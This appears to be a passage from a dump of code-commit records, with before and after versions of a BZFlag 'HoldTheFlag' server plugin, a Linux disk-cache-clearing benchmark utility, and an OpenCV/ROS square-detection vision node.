TEAM:%d, CALLSIGN:%s)\",\n\t\t joinData->playerID, joinData->record->team,\n\t\t joinData->record->callsign.c_str());\n fflush(stdout);\n\n if (joinData->record->team == htfTeam)\n listDel (joinData->playerID);\n\n \/\/ flag CAPTURE\n } else if (eventData->eventType == bz_eCaptureEvent) {\n bz_CTFCaptureEventData_V1 *capData = (bz_CTFCaptureEventData_V1*)eventData;\n htfCapture(capData->playerCapping);\n\n \/\/ game START\n } else if (eventData->eventType == bz_eGameStartEvent) {\n bz_GameStartEndEventData_V1 *msgData = (bz_GameStartEndEventData_V1*)eventData;\n bz_debugMessagef(2, \"++++++ HTFscore: Game START (%f, %f)\",\n\t\t msgData->eventTime, msgData->duration);\n fflush(stdout);\n htfStartGame();\n\n \/\/ game END\n } else if (eventData->eventType == bz_eGameEndEvent) {\n bz_GameStartEndEventData_V1 *msgData = (bz_GameStartEndEventData_V1*)eventData;\n bz_debugMessagef(2, \"++++++ HTFscore: Game END (%f, %f)\",\n\t\t msgData->eventTime, msgData->duration);\n fflush(stdout);\n htfEndGame();\n }\n}\n\n\nbool checkPerms(int playerID, const char *htfCmd, const char *permName)\n{\n if (bz_hasPerm(playerID, permName))\n return true;\n bz_sendTextMessagef(BZ_SERVER, BZ_ALLUSERS, \"you need \\\"%s\\\" permission to do \/htf %s\",\n\t\t permName, htfCmd);\n return false;\n}\n\n\n\/\/ handle \/htf command\nbool HTFscore::handle(int playerID, bz_ApiString cmd, bz_ApiString, bz_APIStringList* cmdParams)\n{\n char subCmd[6];\n if (strcasecmp (cmd.c_str(), \"htf\")) \/\/ is it for me ?\n return false;\n if (cmdParams->get(0).c_str()[0] == '\\0'){\n dispScores(playerID);\n return true;\n }\n\n strncpy(subCmd, cmdParams->get(0).c_str(), 5);\n subCmd[4] = '\\0';\n if (strcasecmp(subCmd, \"rese\") == 0){\n if (checkPerms(playerID, \"reset\", \"COUNTDOWN\"))\n htfReset(playerID);\n } else if (strcasecmp(subCmd, \"off\") == 0){\n if (checkPerms(playerID, \"off\", \"HTFONOFF\"))\n htfEnable(false, playerID);\n } else if (strcasecmp(subCmd, \"on\") == 0){\n if (checkPerms(playerID, \"off\", \"HTFONOFF\"))\n htfEnable(true, playerID);\n } else if (strcasecmp(subCmd, \"stat\") == 0) {\n htfStats(playerID);\n } else {\n sendHelp(playerID);\n }\n return true;\n}\n\n\nbool commandLineHelp(void){\n const char *help[] = {\n \"Command line args: PLUGINNAME,[TEAM=color]\",\n NULL\n };\n bz_debugMessage(0, \"+++ HoldTheFlag plugin command-line error\");\n for (int x=0; help[x]!=NULL; x++)\n bz_debugMessage(0, help[x]);\n return true;\n}\n\n\nbool parseCommandLine(const char *cmdLine)\n{\n if (cmdLine==NULL || *cmdLine=='\\0' || strlen(cmdLine) < 5)\n return false;\n htfTeam = eGreenTeam;\n if (strncasecmp(cmdLine, \"TEAM=\", 5) == 0){\n if ((htfTeam = htfScore.colorNameToDef(cmdLine+5)) == eNoTeam)\n return commandLineHelp();\n } else {\n return commandLineHelp();\n }\n return false;\n}\n\n\nBZF_PLUGIN_CALL int bz_Load(const char* cmdLine)\n{\n bz_BasePlayerRecord *playerRecord;\n\n if (parseCommandLine(cmdLine))\n return -1;\n\n \/\/ get current list of player indices ...\n bz_APIIntList *playerList = bz_newIntList();\n bz_getPlayerIndexList(playerList);\n for (unsigned int i = 0; i < playerList->size(); i++){\n if ((playerRecord = bz_getPlayerByIndex(playerList->get(i))) != NULL){\n listAdd (playerList->get(i), playerRecord->callsign.c_str());\n bz_freePlayerRecord(playerRecord);\n }\n }\n bz_deleteIntList(playerList);\n\n bz_registerCustomSlashCommand(\"htf\", &htfScore);\n bz_registerEvent(bz_ePlayerJoinEvent, &htfScore);\n bz_registerEvent(bz_ePlayerPartEvent, &htfScore);\n bz_registerEvent(bz_eCaptureEvent, &htfScore);\n bz_registerEvent(bz_eGameStartEvent, &htfScore);\n bz_registerEvent(bz_eGameEndEvent, &htfScore);\n bz_debugMessagef(1, \"HoldTheFlag plugin loaded - v%s\", HOLDTHEFLAG_VER);\n return 0;\n}\n\nBZF_PLUGIN_CALL int bz_Unload(void)\n{\n bz_removeCustomSlashCommand(\"htf\");\n bz_removeEvent(bz_ePlayerJoinEvent, &htfScore);\n bz_removeEvent(bz_ePlayerPartEvent, &htfScore);\n bz_removeEvent(bz_eCaptureEvent, &htfScore);\n bz_removeEvent(bz_eGameStartEvent, &htfScore);\n bz_removeEvent(bz_eGameEndEvent, &htfScore);\n bz_debugMessage(1, \"HoldTheFlag plugin unloaded\");\n return 0;\n}\n\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2015 Georgia Institute of Technology\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file clear_cache.cpp\n * @ingroup\n * @author tpan\n * @brief clears cache on a linux system\n * @details for use before doing file io benchmark.\n *\n * Copyright (c) 2016 Georgia Institute of Technology. All Rights Reserved.\n *\n * TODO add License\n *\/\n\n#include \"utils\/memory_usage.hpp\"\n\n\/**\n * @brief clear the disk cache in linux by allocating a bunch of memory.\n * @details in 1MB chunks to workaround memory fragmentation preventing allocation.\n * can potentially use swap, or if there is not enough physical + swap, be killed.\n *\n *\/\nvoid clear_cache() {\n size_t avail = MemUsage::get_usable_mem();\n size_t rem = avail;\n\n size_t minchunk = 1UL << 24; \/\/ 16MB chunks\n size_t chunk = minchunk;\n\n size_t maxchunk = std::min(1UL << 30, (avail >> 4));\n for ( ;chunk < maxchunk; chunk <<= 1) ; \/\/ keep increasing chunks until larger than 1\/16 of avail, or until 1GB.\n\n std::vector<size_t *> dummy;\n\n size_t nchunks;\n size_t i;\n size_t *ptr;\n size_t j = 0;\n\n printf(\"begin clearing %lu bytes\\n\", avail);\n size_t iter_cleared = 0;\n\n while ((chunk >= minchunk) && (rem > minchunk)) {\n nchunks = rem \/ chunk;\n iter_cleared = 0;\n\n for (i = 0; i < nchunks; ++i, ++j) {\n\/\/ if ((j % 16) == 0) {\n\/\/ printf(\"%lu \", j); \/\/ 16 outputs.\n\/\/ fflush(stdout);\n\/\/ }\n\n \/\/ (c|m)alloc\/free seems to be optimized out. using new works.\n ptr = new size_t[(chunk \/ sizeof(size_t))];\n\n iter_cleared += chunk;\n memset(ptr, 0, chunk);\n ptr[0] = i;\n\n dummy.push_back(ptr);\n }\n\n \/\/ \/\/ check for available memory, every 64 MBs\n \/\/ if ((i % 64) == 0) {\n \/\/ avail = MemUsage::get_usable_mem();\n \/\/ if (avail < (64 << 20)) break; \/\/ less than 64MB available.\n \/\/ }\n rem -= iter_cleared;\n\n printf(\"cleared %lu bytes using %lu chunk %lu bytes. total cleared %lu bytes, rem %lu bytes \\n\", iter_cleared, i, chunk, avail - rem, rem);\n fflush(stdout);\n\n\n \/\/ reduce the size of the chunk by 4\n chunk >>= 2;\n\n }\n printf(\"finished clearing %lu\/%lu bytes with %lu remaining\\n\", avail - rem, avail, rem);\n fflush(stdout);\n\n size_t sum = 0;\n size_t ii = 0;\n for (; ii < dummy.size(); ++ii) {\n ptr = dummy[ii];\n\n if (ptr != nullptr) {\n\/\/ if ((ii % 16) == 0) {\n\/\/ printf(\"%lu \", ii); \/\/ 16 outputs.\n\/\/ fflush(stdout);\n\/\/ }\n sum += ptr[ii >> 10];\n delete [] ptr;\n \/\/free(ptr);\n dummy[ii] = nullptr;\n } else {\n break;\n }\n }\n printf(\"\\n\");\n printf(\"disk cache cleared (dummy %lu). %lu blocks %lu bytes\\n\", sum, j, avail - rem);\n}\n\n\nint main(int argc, char** argv) {\n\n clear_cache();\n\n return 0;\n}\n<commit_msg>WIP: further testing on large memory machine<commit_after>\/*\n * Copyright 2015 Georgia Institute of Technology\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/**\n * @file clear_cache.cpp\n * @ingroup\n * @author tpan\n * @brief clears cache on a linux system\n * @details for use before doing file io benchmark.\n *\n * Copyright (c) 2016 Georgia Institute of Technology. All Rights Reserved.\n *\n * TODO add License\n *\/\n\n#include \"utils\/memory_usage.hpp\"\n\n#ifdef USE_OPENMP\n#include <omp.h>\n#endif\n\n\/**\n * @brief clear the disk cache in linux by allocating a bunch of memory.\n * @details in 1MB chunks to workaround memory fragmentation preventing allocation.\n * can potentially use swap, or if there is not enough physical + swap, be killed.\n *\n *\/\nvoid clear_cache() {\n size_t avail = MemUsage::get_usable_mem();\n size_t rem = avail;\n\n size_t minchunk = 1UL << 24; \/\/ 16MB chunks\n size_t chunk = minchunk;\n\n size_t maxchunk = std::min(1UL << 30, (avail >> 4));\n for ( ;chunk < maxchunk; chunk <<= 1) ; \/\/ keep increasing chunks until larger than 1\/16 of avail, or until 1GB.\n\n std::vector<size_t *> dummy;\n\n size_t nchunks;\n size_t j = 0, lj;\n\n printf(\"begin clearing %lu bytes\\n\", avail);\n size_t iter_cleared = 0;\n\n while ((chunk >= minchunk) && (rem > minchunk)) {\n nchunks = rem \/ chunk;\n\n iter_cleared = 0;\n lj = 0;\n#pragma omp parallel for shared(nchunks, chunk, dummy) reduction(+:lj, iter_cleared)\n for (size_t i = 0; i < nchunks; ++i) {\n\n \/\/ (c|m)alloc\/free seems to be optimized out. using new works.\n size_t * ptr = new size_t[(chunk \/ sizeof(size_t))];\n\n iter_cleared += chunk;\n memset(ptr, 0, chunk);\n ptr[0] = i;\n\n#pragma omp critical\n {\n dummy.push_back(ptr);\n }\n\n ++lj;\n }\n\n j += lj;\n\n \/\/ \/\/ check for available memory, every 64 MBs\n \/\/ if ((i % 64) == 0) {\n \/\/ avail = MemUsage::get_usable_mem();\n \/\/ if (avail < (64 << 20)) break; \/\/ less than 64MB available.\n \/\/ }\n rem -= iter_cleared;\n\n printf(\"cleared %lu bytes using %lu chunk %lu bytes. total cleared %lu bytes, rem %lu bytes \\n\", iter_cleared, nchunks, chunk, avail - rem, rem);\n fflush(stdout);\n\n\n \/\/ reduce the size of the chunk by 4\n chunk >>= 2;\n\n }\n printf(\"finished clearing %lu\/%lu bytes with %lu remaining\\n\", avail - rem, avail, rem);\n fflush(stdout);\n\n size_t sum = 0;\n size_t ii = 0;\n size_t *ptr;\n for (; ii < dummy.size(); ++ii) {\n ptr = dummy[ii];\n\n if (ptr != nullptr) {\n\/\/ if ((ii % 16) == 0) {\n\/\/ printf(\"%lu \", ii); \/\/ 16 outputs.\n\/\/ fflush(stdout);\n\/\/ }\n sum += ptr[ii >> 10];\n delete [] ptr;\n \/\/free(ptr);\n dummy[ii] = nullptr;\n } else {\n break;\n }\n }\n printf(\"\\n\");\n printf(\"disk cache cleared (dummy %lu). %lu blocks %lu bytes\\n\", sum, j, avail - rem);\n}\n\n\nint main(int argc, char** argv) {\n\n clear_cache();\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ The \"Square Detector\" program.\n\/\/ It loads several images sequentially and tries to find squares in\n\/\/ each image\n\n#include \"opencv2\/core\/core.hpp\"\n#include \"opencv2\/imgproc\/imgproc.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n\n#include <iostream>\n#include <math.h>\n#include <string.h>\n#include <stdio.h>\n\n#include <ros\/ros.h>\n#include <osuar_vision\/windowCoordinates.h>\n\nusing namespace cv;\n\nint thresh = 50, N = 11;\n\n\/\/ Threshold for maximum cosine between angles (x100).\nint maxCosineThresh = 20;\n\n\/\/ Threshold for ratio of shortest side \/ longest side (x100).\nint sideRatioThresh = 75;\n\n\/\/ Maximum square area.\nint maxSquareArea = 41000;\n\n\/\/ Find colors of any hue...\nint wallHueLow = 50;\nint wallHueHigh = 132;\n\n\/\/ ...of low saturation...\nint wallSatLow = 0;\nint wallSatHigh = 100;\n\n\/\/ ...ranging down to gray, but not completely dark. That is to say, white.\nint wallValLow = 90;\nint wallValHigh = 255;\n\nros::Publisher visPub;\nosuar_vision::windowCoordinates winCoords;\n\n\/\/ helper function:\n\/\/ finds a cosine of angle between vectors\n\/\/ from pt0->pt1 and from pt0->pt2\nstatic double angle( Point pt1, Point pt2, Point pt0 )\n{\n double dx1 = pt1.x - pt0.x;\n double dy1 = pt1.y - pt0.y;\n double dx2 = pt2.x - pt0.x;\n double dy2 = pt2.y - pt0.y;\n return (dx1*dx2 + dy1*dy2)\/sqrt((dx1*dx1 + dy1*dy1)*(dx2*dx2 + dy2*dy2) + 1e-10);\n}\n\n\/\/ returns sequence of squares detected on the image.\n\/\/ the sequence is stored in the specified memory storage\nstatic void findSquares( const Mat& image, vector<vector<Point> >& squares )\n{\n squares.clear();\n\n Mat pyr, timg, gray0(image.size(), CV_8U), gray;\n\n \/\/ down-scale and upscale the image to filter out the noise\n pyrDown(image, pyr, Size(image.cols\/2, image.rows\/2));\n pyrUp(pyr, timg, image.size());\n vector<vector<Point> > contours;\n\n \/\/ find squares in every color plane of the image\n \/\/for( int c = 0; c < 3; c++ )\n \/\/{\n \/\/int ch[] = {c, 0};\n \/\/mixChannels(&timg, 1, &gray0, 1, ch, 1);\n\n \/\/ try several threshold levels\n for( int l = 0; l < N; l++ )\n {\n \/\/ hack: use Canny instead of zero threshold level.\n \/\/ Canny helps to catch squares with gradient shading\n if( l == 0 )\n {\n \/\/ apply Canny. Take the upper threshold from slider\n \/\/ and set the lower to 0 (which forces edges merging)\n Canny(image, gray, 0, thresh, 5);\n \/\/ dilate canny output to remove potential\n \/\/ holes between edge segments\n dilate(gray, gray, Mat(), Point(-1,-1));\n }\n else\n {\n \/\/ apply threshold if l!=0:\n \/\/ tgray(x,y) = gray(x,y) < (l+1)*255\/N ? 255 : 0\n gray = image >= (l+1)*255\/N;\n }\n\n \/\/ find contours and store them all as a list\n findContours(gray, contours, CV_RETR_LIST, CV_CHAIN_APPROX_SIMPLE);\n\n vector<Point> approx;\n\n \/\/ test each contour\n for( size_t i = 0; i < contours.size(); i++ )\n {\n \/\/ approximate contour with accuracy proportional\n \/\/ to the contour perimeter\n approxPolyDP(Mat(contours[i]), approx, arcLength(Mat(contours[i]), true)*0.02, true);\n\n \/\/ square contours should have 4 vertices after approximation\n \/\/ relatively large area (to filter out noisy contours)\n \/\/ and be convex.\n \/\/ Note: absolute value of an area is used because\n \/\/ area may be positive or negative - in accordance with the\n \/\/ contour orientation\n if( approx.size() == 4 &&\n fabs(contourArea(Mat(approx))) > 1000 &&\n fabs(contourArea(Mat(approx))) < maxSquareArea &&\n isContourConvex(Mat(approx)) )\n {\n double maxCosine = 0;\n double minSideLen = 100000;\n double maxSideLen = 0;\n double sideRatio = 0;\n\n for( int j = 2; j < 5; j++ )\n {\n \/\/ find the maximum cosine of the angle between joint edges\n double cosine = fabs(angle(approx[j%4], approx[j-2], approx[j-1]));\n maxCosine = MAX(maxCosine, cosine);\n\n \/\/ Find the maximum difference in length of adjacent\n \/\/ sides\n double sideLen = sqrt(pow((approx[j%4].x - approx[(j+1)%4].x), 2) + pow((approx[j%4].y - approx[(j+1)%4].y), 2));\n minSideLen = MIN(minSideLen, sideLen);\n maxSideLen = MAX(maxSideLen, sideLen);\n }\n\n sideRatio = minSideLen \/ maxSideLen;\n\n std::cout << minSideLen << \" \" << maxSideLen << \"\\n\";\n\n \/\/ if cosines of all angles are small\n \/\/ (all angles are ~90 degree) then write quandrange\n \/\/ vertices to resultant sequence\n if( maxCosine < ((double) maxCosineThresh)\/100 && sideRatio >= (double) sideRatioThresh\/100 )\n squares.push_back(approx);\n }\n }\n }\n \/\/}\n}\n\n\n\/\/ the function draws all the squares in the image\nstatic void drawSquares( Mat& image, const vector<vector<Point> >& squares )\n{\n for( size_t i = 0; i < squares.size(); i++ )\n {\n const Point* p = &squares[i][0];\n int n = (int)squares[i].size();\n polylines(image, &p, &n, 1, true, Scalar(0,255,0), 3, CV_AA);\n\n std::cout << \"x: \" << squares[i][0].x << \" y: \" << squares[i][0].y << \"\\n\";\n\n \/\/ Only publish coordinates for one of the squares. Coordinates are\n \/\/ shifted over by half the camera resolution (which itself is scaled\n \/\/ down by a factor of two!) on each axis. The y coordinate is inverted\n \/\/ so up is positive.\n if (i == 0) {\n putText(image, \"0\", squares[0][0], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n putText(image, \"1\", squares[0][1], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n putText(image, \"2\", squares[0][2], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n putText(image, \"3\", squares[0][3], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n winCoords.x = (squares[0][0].x + squares[0][2].x)\/2 - 180;\n winCoords.y = -((squares[0][0].y + squares[0][2].y)\/2 - 120);\n winCoords.size = fabs(squares[0][0].x - squares[0][2].x);\n visPub.publish(winCoords);\n }\n }\n}\n\n\nint main(int argc, char** argv) {\n ros::init(argc, argv, \"vision\");\n ros::NodeHandle nh;\n visPub = nh.advertise<osuar_vision::windowCoordinates>(\"window_coordinates\", 1);\n\n \/\/ Instantiate VideoCapture object. See here for details:\n \/\/ http:\/\/opencv.willowgarage.com\/documentation\/cpp\/reading_and_writing_images_and_video.html\n VideoCapture cap(1);\n\n \/\/ Configure video. Our camera NEEDS the frame width to be set to 720\n \/\/ pixels.\n cap.set(CV_CAP_PROP_FRAME_WIDTH, 720);\n cap.set(CV_CAP_PROP_FRAME_HEIGHT, 480);\n \/\/cap.set(CV_CAP_PROP_FPS, 20);\n\n \/\/ Instantiate a Mat in which to store each video frame.\n Mat origFrame;\n Mat resizedFrame; \/\/ Scaled-down from origFrame by factor of 2.\n Mat hsvFrame; \/\/ Converted to HSV space from resizedFrame.\n Mat bwFrame; \/\/ Black\/white image after thresholding hsvFrame.\n\n cvNamedWindow(\"control panel\", 1);\n cvMoveWindow(\"control panel\", 450, 20);\n\n cvNamedWindow(\"origImage\", 1);\n cvMoveWindow(\"origImage\", 20, 20);\n\n cvNamedWindow(\"bwImage\", 1);\n cvMoveWindow(\"bwImage\", 20, 270);\n\n cvCreateTrackbar(\"threshold\", \"control panel\", &thresh, 300, NULL);\n cvCreateTrackbar(\"maxCosineThresh (x100)\", \"control panel\", &maxCosineThresh, 100, NULL);\n cvCreateTrackbar(\"sideRatioThresh (x100)\", \"control panel\", &sideRatioThresh, 100, NULL);\n cvCreateTrackbar(\"maxSquareArea\", \"control panel\", &maxSquareArea, 100000, NULL);\n cvCreateTrackbar(\"wallHueLow\", \"control panel\", &wallHueLow, 179, NULL);\n cvCreateTrackbar(\"wallHueHigh\", \"control panel\", &wallHueHigh, 179, NULL);\n cvCreateTrackbar(\"wallSatLow\", \"control panel\", &wallSatLow, 255, NULL);\n cvCreateTrackbar(\"wallSatHigh\", \"control panel\", &wallSatHigh, 255, NULL);\n cvCreateTrackbar(\"wallValLow\", \"control panel\", &wallValLow, 255, NULL);\n cvCreateTrackbar(\"wallValHigh\", \"control panel\", &wallValHigh, 255, NULL);\n vector<vector<Point> > squares;\n\n while (true) {\n \/\/ Capture image.\n cap >> origFrame;\n\n \/\/ Resize the image to increase processing rate. See here for details:\n \/\/ http:\/\/opencv.willowgarage.com\/documentation\/cpp\/image_filtering.html\n pyrDown(origFrame, resizedFrame, Size(origFrame.cols\/2, origFrame.rows\/2));\n\n \/\/ Convert the frame to HSV. TODO: combine this with more filtering and\n \/\/ turn into function.\n cvtColor(resizedFrame, hsvFrame, CV_BGR2HSV);\n\n \/\/ Threshold hsvFrame for color of maze walls.\n inRange(hsvFrame, Scalar(wallHueLow, wallSatLow, wallValLow),\n Scalar(wallHueHigh, wallSatHigh, wallValHigh), bwFrame);\n\n \/\/ Find and draw squares.\n findSquares(bwFrame, squares);\n drawSquares(resizedFrame, squares);\n\n \/\/ Show the image, with the squares overlaid.\n imshow(\"origImage\", resizedFrame);\n imshow(\"bwImage\", bwFrame);\n\n \/\/ Wait 5 milliseconds for a keypress.\n int c = waitKey(5);\n \/\/ Exit if the spacebar is pressed. NOTE: killing the program with\n \/\/ Ctrl+C sometimes stops OpenCV at a bad place and effects a kernel\n \/\/ panic! If you really like Ctrl+C, do so at your own risk!\n if ((char) c == 32) {\n return 0;\n }\n }\n\n return 0;\n}\n<commit_msg>Move Mat instantiation to beginning of file.<commit_after>\/\/ The \"Square Detector\" program.\n\/\/ It loads several images sequentially and tries to find squares in\n\/\/ each image\n\n#include \"opencv2\/core\/core.hpp\"\n#include \"opencv2\/imgproc\/imgproc.hpp\"\n#include \"opencv2\/highgui\/highgui.hpp\"\n\n#include <iostream>\n#include <math.h>\n#include <string.h>\n#include <stdio.h>\n\n#include <ros\/ros.h>\n#include <osuar_vision\/windowCoordinates.h>\n\nusing namespace cv;\n\nint thresh = 50, N = 11;\n\n\/\/ Threshold for maximum cosine between angles (x100).\nint maxCosineThresh = 20;\n\n\/\/ Threshold for ratio of shortest side \/ longest side (x100).\nint sideRatioThresh = 75;\n\n\/\/ Maximum square area.\nint maxSquareArea = 41000;\n\n\/\/ Find colors of any hue...\nint wallHueLow = 0;\nint wallHueHigh = 179;\n\n\/\/ ...of low saturation...\nint wallSatLow = 0;\nint wallSatHigh = 50;\n\n\/\/ ...ranging down to gray, but not completely dark. That is to say, white.\nint wallValLow = 90;\nint wallValHigh = 255;\n\n\/\/ Hough transform thresholds\nint minLineLen = 5;\nint maxLineGap = 10;\n\n\/\/ Instantiate a Mat in which to store each video frame.\nMat origFrame;\nMat resizedFrame; \/\/ Scaled-down from origFrame by factor of 2.\nMat hsvFrame; \/\/ Converted to HSV space from resizedFrame.\nMat bwFrame; \/\/ Black\/white image after thresholding hsvFrame.\nMat grayFrame;\nMat cannyFrame;\n\nros::Publisher visPub;\nosuar_vision::windowCoordinates winCoords;\n\n\/\/ helper function:\n\/\/ finds a cosine of angle between vectors\n\/\/ from pt0->pt1 and from pt0->pt2\nstatic double angle( Point pt1, Point pt2, Point pt0 )\n{\n double dx1 = pt1.x - pt0.x;\n double dy1 = pt1.y - pt0.y;\n double dx2 = pt2.x - pt0.x;\n double dy2 = pt2.y - pt0.y;\n return (dx1*dx2 + dy1*dy2)\/sqrt((dx1*dx1 + dy1*dy1)*(dx2*dx2 + dy2*dy2) + 1e-10);\n}\n\n\/\/ returns sequence of squares detected on the image.\n\/\/ the sequence is stored in the specified memory storage\nstatic void findSquares( const Mat& image, vector<vector<Point> >& squares )\n{\n squares.clear();\n\n Mat pyr, timg;\n\n \/\/ down-scale and upscale the image to filter out the noise\n pyrDown(image, pyr, Size(image.cols\/2, image.rows\/2));\n pyrUp(pyr, timg, image.size());\n vector<vector<Point> > contours;\n\n \/\/ find squares in every color plane of the image\n \/\/for( int c = 0; c < 3; c++ )\n \/\/{\n \/\/int ch[] = {c, 0};\n \/\/mixChannels(&timg, 1, &gray0, 1, ch, 1);\n\n \/\/ try several threshold levels\n for( int l = 0; l < N; l++ )\n {\n \/\/ hack: use Canny instead of zero threshold level.\n \/\/ Canny helps to catch squares with gradient shading\n if( l == 0 )\n {\n \/\/ apply Canny. Take the upper threshold from slider\n \/\/ and set the lower to 0 (which forces edges merging)\n Canny(image, gray, 0, thresh, 5);\n \/\/ dilate canny output to remove potential\n \/\/ holes between edge segments\n dilate(gray, gray, Mat(), Point(-1,-1));\n }\n else\n {\n \/\/ apply threshold if l!=0:\n \/\/ tgray(x,y) = gray(x,y) < (l+1)*255\/N ? 255 : 0\n gray = image >= (l+1)*255\/N;\n }\n\n \/\/ find contours and store them all as a list\n findContours(gray, contours, CV_RETR_LIST, CV_CHAIN_APPROX_SIMPLE);\n\n vector<Point> approx;\n\n \/\/ test each contour\n for( size_t i = 0; i < contours.size(); i++ )\n {\n \/\/ approximate contour with accuracy proportional\n \/\/ to the contour perimeter\n approxPolyDP(Mat(contours[i]), approx, arcLength(Mat(contours[i]), true)*0.02, true);\n\n \/\/ square contours should have 4 vertices after approximation\n \/\/ relatively large area (to filter out noisy contours)\n \/\/ and be convex.\n \/\/ Note: absolute value of an area is used because\n \/\/ area may be positive or negative - in accordance with the\n \/\/ contour orientation\n if( approx.size() == 4 &&\n fabs(contourArea(Mat(approx))) > 1000 &&\n fabs(contourArea(Mat(approx))) < maxSquareArea &&\n isContourConvex(Mat(approx)) )\n {\n double maxCosine = 0;\n double minSideLen = 100000;\n double maxSideLen = 0;\n double sideRatio = 0;\n\n for( int j = 2; j < 5; j++ )\n {\n \/\/ find the maximum cosine of the angle between joint edges\n double cosine = fabs(angle(approx[j%4], approx[j-2], approx[j-1]));\n maxCosine = MAX(maxCosine, cosine);\n\n \/\/ Find the maximum difference in length of adjacent\n \/\/ sides\n double sideLen = sqrt(pow((approx[j%4].x - approx[(j+1)%4].x), 2) + pow((approx[j%4].y - approx[(j+1)%4].y), 2));\n minSideLen = MIN(minSideLen, sideLen);\n maxSideLen = MAX(maxSideLen, sideLen);\n }\n\n sideRatio = minSideLen \/ maxSideLen;\n\n std::cout << minSideLen << \" \" << maxSideLen << \"\\n\";\n\n \/\/ if cosines of all angles are small\n \/\/ (all angles are ~90 degree) then write quandrange\n \/\/ vertices to resultant sequence\n if( maxCosine < ((double) maxCosineThresh)\/100 && sideRatio >= (double) sideRatioThresh\/100 )\n squares.push_back(approx);\n }\n }\n }\n \/\/}\n}\n\n\n\/\/ the function draws all the squares in the image\nstatic void drawSquares( Mat& image, const vector<vector<Point> >& squares )\n{\n for( size_t i = 0; i < squares.size(); i++ )\n {\n const Point* p = &squares[i][0];\n int n = (int)squares[i].size();\n polylines(image, &p, &n, 1, true, Scalar(0,255,0), 3, CV_AA);\n\n std::cout << \"x: \" << squares[i][0].x << \" y: \" << squares[i][0].y << \"\\n\";\n\n \/\/ Only publish coordinates for one of the squares. Coordinates are\n \/\/ shifted over by half the camera resolution (which itself is scaled\n \/\/ down by a factor of two!) on each axis. The y coordinate is inverted\n \/\/ so up is positive.\n if (i == 0) {\n putText(image, \"0\", squares[0][0], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n putText(image, \"1\", squares[0][1], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n putText(image, \"2\", squares[0][2], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n putText(image, \"3\", squares[0][3], FONT_HERSHEY_SIMPLEX, 0.5, Scalar(255,0,0));\n winCoords.x = (squares[0][0].x + squares[0][2].x)\/2 - 180;\n winCoords.y = -((squares[0][0].y + squares[0][2].y)\/2 - 120);\n winCoords.size = fabs(squares[0][0].x - squares[0][2].x);\n visPub.publish(winCoords);\n }\n }\n}\n\n\nint main(int argc, char** argv) {\n ros::init(argc, argv, \"vision\");\n ros::NodeHandle nh;\n visPub = nh.advertise<osuar_vision::windowCoordinates>(\"window_coordinates\", 1);\n\n \/\/ Instantiate VideoCapture object. See here for details:\n \/\/ http:\/\/opencv.willowgarage.com\/documentation\/cpp\/reading_and_writing_images_and_video.html\n VideoCapture cap(1);\n\n \/\/ Configure video. Our camera NEEDS the frame width to be set to 720\n \/\/ pixels.\n cap.set(CV_CAP_PROP_FRAME_WIDTH, 720);\n cap.set(CV_CAP_PROP_FRAME_HEIGHT, 480);\n \/\/cap.set(CV_CAP_PROP_FPS, 20);\n\n cvNamedWindow(\"control panel\", 1);\n cvMoveWindow(\"control panel\", 450, 20);\n\n cvNamedWindow(\"origImage\", 1);\n cvMoveWindow(\"origImage\", 20, 20);\n\n cvNamedWindow(\"bwImage\", 1);\n cvMoveWindow(\"bwImage\", 20, 270);\n\n cvCreateTrackbar(\"threshold\", \"control panel\", &thresh, 300, NULL);\n cvCreateTrackbar(\"maxCosineThresh (x100)\", \"control panel\", &maxCosineThresh, 100, NULL);\n cvCreateTrackbar(\"sideRatioThresh (x100)\", \"control panel\", &sideRatioThresh, 100, NULL);\n cvCreateTrackbar(\"maxSquareArea\", \"control panel\", &maxSquareArea, 100000, NULL);\n cvCreateTrackbar(\"wallHueLow\", \"control panel\", &wallHueLow, 179, NULL);\n cvCreateTrackbar(\"wallHueHigh\", \"control panel\", &wallHueHigh, 179, NULL);\n cvCreateTrackbar(\"wallSatLow\", \"control panel\", &wallSatLow, 255, NULL);\n cvCreateTrackbar(\"wallSatHigh\", \"control panel\", &wallSatHigh, 255, NULL);\n cvCreateTrackbar(\"wallValLow\", \"control panel\", &wallValLow, 255, NULL);\n cvCreateTrackbar(\"wallValHigh\", \"control panel\", &wallValHigh, 255, NULL);\n vector<vector<Point> > squares;\n\n while (true) {\n \/\/ Capture image.\n cap >> origFrame;\n\n \/\/ Resize the image to increase processing rate. See here for details:\n \/\/ http:\/\/opencv.willowgarage.com\/documentation\/cpp\/image_filtering.html\n pyrDown(origFrame, resizedFrame, Size(origFrame.cols\/2, origFrame.rows\/2));\n\n \/\/ Convert the frame to HSV. TODO: combine this with more filtering and\n \/\/ turn into function.\n cvtColor(resizedFrame, hsvFrame, CV_BGR2HSV);\n\n 